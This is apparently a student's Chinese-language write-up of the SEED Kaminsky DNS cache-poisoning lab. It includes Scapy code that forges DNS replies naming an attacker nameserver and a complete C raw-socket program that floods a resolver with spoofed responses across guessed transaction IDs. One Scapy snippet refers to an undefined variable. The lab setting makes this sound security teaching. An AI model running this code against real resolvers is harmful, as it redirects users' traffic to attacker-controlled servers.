Lab Environment Setup (Task 1)

dcbuild
dcup

image-20220806211050557

Task 2: Construct DNS request

使用Scapy构造DNS包

将示范代码补充完整得

from scapy.all import *


ip = IP(src='1.2.3.4',dst='10.9.0.53')

udp= UDP(sport=12345, dport=53,chksum=0)

Qdsec    = DNSQR(qname='www.example.com') 
dns   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
request = ip/udp/dns

发送包结果如下

image-20220806110258620

在完成下面的任务时,发现python构建的DNS包需要通过c程序进行发包。所以需要构建bin文件供c程序使用(bin文件为二进制文件)

from scapy.all import *


ip = IP(src='1.2.3.4',dst='10.9.0.53')

udp= UDP(sport=12345, dport=53,chksum=0)


Qdsec    = DNSQR(qname='aaaaa.example.com') 
dns   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
request = ip/udp/dns

with open('ip_req.bin', 'wb') as f:
  f.write(bytes(Querypkt))
  Querypkt.show()

Task 3: Spoof DNS Replies.

from scapy.all import *

# based on SEED book code
targetName = 'aaaaa.example.com'
targetDomain = 'example.com'

# reply pkt from target domain NSs to the local DNS server
ip = IP(src='199.43.135.53', dst='10.9.0.53', chksum=0)
udp = UDP(sport=53, dport=33333, chksum=0)

# Question section
# 目的域名
Qdsec  = DNSQR(qname=targetName)
# Answer section, any IPs(rdata) are fine
Anssec = DNSRR(rrname=targetName, type='A',
               rdata='1.2.3.4', ttl=259200)
# Authority section (the main goal of the attack)
# 关键点,告诉目标targetdomain为攻击机,使example.com的NS绑定为ns.attacker32.com
NSsec  = DNSRR(rrname=targetDomain, type='NS',
               rdata='ns.attacker32.com', ttl=259200)

dns = DNS(id=0xAAAA, aa=1,ra=0, rd=0, cd=0, qr=1,
             qdcount=1, ancount=1, nscount=1, arcount=0,
             qd=Qdsec, an=Anssec, ns=NSsec)
response = ip/udp/dns
#send(response)
#将包导出到bin包,在后续的c程序中调用发包
with open('ip_resp.bin', 'wb') as f:
  f.write(bytes(response))
  response.show()

以下是wireshark抓包得到的伪造发包成功截图

image-20220806212047620

image-20220807144131664

Task 4: Launch the Kaminsky Attack

由于python程序过慢,可能导致发包回复的时间长于官方NS发包回复的时间,所以采用C程序发包。将在注释中进行一些解释

使用hexdump查看bin包结构

image-20220807231233512

找到相应位置使用c语言进行修改,如偏移量为41,64的地方,修改为随机字符伪造域名。偏移量为28的地方为transaction ID

#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>

// based on the provided framework and SEED book code
#define MAX_FILE_SIZE 1000000


/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address 
  struct  in_addr    iph_destip;   //Destination IP address 
};

void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request(unsigned char* pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize,
                       unsigned char* src, char* name,
                       unsigned short id);

int main()
{
  unsigned short transid = 0;

  srand(time(NULL));

  // Load the DNS request packet from file
  FILE * f_req = fopen("ip_req.bin", "rb");
  if (!f_req) {
     perror("Can't open 'ip_req.bin'");
     exit(1);
  }
  unsigned char ip_req[MAX_FILE_SIZE];
  int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

  // Load the first DNS response packet from file
  FILE * f_resp = fopen("ip_resp.bin", "rb");
  if (!f_resp) {
     perror("Can't open 'ip_resp.bin'");
     exit(1);
  }
  unsigned char ip_resp[MAX_FILE_SIZE];
  int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

  char a[26]="abcdefghijklmnopqrstuvwxyz";
  while (1) {
    // Generate a random name with length 5
    char name[6];
    name[5] = '\0';
    for (int k=0; k<5; k++)  name[k] = a[rand() % 26];

    printf("name: %s, id:%d\n", name, transid);
    //##################################################################
    /* Step 1. Send a DNS request to the targeted local DNS server.
               This will trigger the DNS server to send out DNS queries */

    send_dns_request(ip_req, n_req, name);


    /* Step 2. Send many spoofed responses to the targeted local DNS server,
               each one with a different transaction ID. */
    
    for (int i = 0; i < 200; i++)
    {
      //对每个伪造的域名尝试200个transaction ID
      send_dns_response(ip_resp, n_resp, "199.43.133.53", name, transid);
      send_dns_response(ip_resp, n_resp, "199.43.135.53", name, transid);
      transid += 1;
    }    
    //##################################################################
  }
}

//将包相应字节部分重写后调用老师提供的发包函数进行发包
/* Use for generating and sending fake DNS request.
 * */
void send_dns_request(unsigned char* pkt, int pktsize, char* name)
{
  // replace twysw in qname with name, at offset 41
  memcpy(pkt+41, name, 5);
  // send the dns query out
  send_raw_packet(pkt, pktsize);
}


/* Use for generating and sending forged DNS response.
 * */
void send_dns_response(unsigned char* pkt, int pktsize,
                       unsigned char* src, char* name,
                       unsigned short id)
{
  // the C code will modify src,qname,rrname and the id field
  // src ip at offset 12
  int ip = (int)inet_addr(src);
  memcpy(pkt+12, (void*)&ip, 4);
  // qname at offset 41
  memcpy(pkt+41, name, 5);
  // rrname at offset 64
  memcpy(pkt+64, name, 5);
  // id at offset 28
  unsigned short transid = htons(id);
  memcpy(pkt+28, (void*)&transid, 2);
  //send the dns reply out
  send_raw_packet(pkt, pktsize);
}


/* Send the raw packet out 
 *    buffer: to contain the entire IP packet, with everything filled out.
 *    pkt_size: the size of the buffer.
 * */
void send_raw_packet(char * buffer, int pkt_size)
{
  struct sockaddr_in dest_info;
  int enable = 1;

  // Step 1: Create a raw network socket.
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

  // Step 2: Set socket option.
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
         &enable, sizeof(enable));

  // Step 3: Provide needed information about destination.
  struct ipheader *ip = (struct ipheader *) buffer;
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr = ip->iph_destip;

  // Step 4: Send the packet out.
  sendto(sock, buffer, pkt_size, 0,
       (struct sockaddr *)&dest_info, sizeof(dest_info));
  close(sock);
}

Task 5: Result Verifification

使用以下命令验证攻击的结果

//在user中 运行以下指令
dig www.example.com

image-20220807230113031

可以看到成功将域名www.example.com绑定到了1.2.3.5 ip上

踩的坑

因为之前的实验没有docker-compose down 导致攻击一直无法成功

将前面的容器下线后,攻击成功

发表评论